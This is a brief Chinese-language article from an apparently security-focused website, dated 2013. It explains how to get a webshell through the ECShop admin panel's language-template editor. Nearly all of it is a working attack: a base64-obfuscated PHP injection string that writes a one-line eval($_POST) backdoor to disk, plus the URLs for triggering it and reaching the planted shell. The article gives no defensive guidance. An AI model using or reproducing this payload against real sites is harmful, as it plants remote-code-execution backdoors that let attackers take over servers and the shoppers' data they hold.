热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

ecshop后台通过模版拿weshell 又一则

发布时间:2013-08-22 09:44文章来源:网络文章作者:秩名 点击次数:
摘要:模板管理--语言项编辑 如:user.php 搜索:状态 插入 ${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}} 访问http://www.yunsec.net/ecshop/languages/zh_cn/user.php 一句话:http://www.yunsec.net/ecsh...

模板管理--语言项编辑

如:user.php 搜索:状态

插入

  1. ${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}} 



访问http://www.yunsec.net/ecshop/languages/zh_cn/user.php

一句话:http://www.yunsec.net/ecshop/languages/zh_cn/fuck.php

标签分类:

上一篇:浅谈web后门隐藏与检测思路
下一篇:Ecshop后台getshell-2 非模板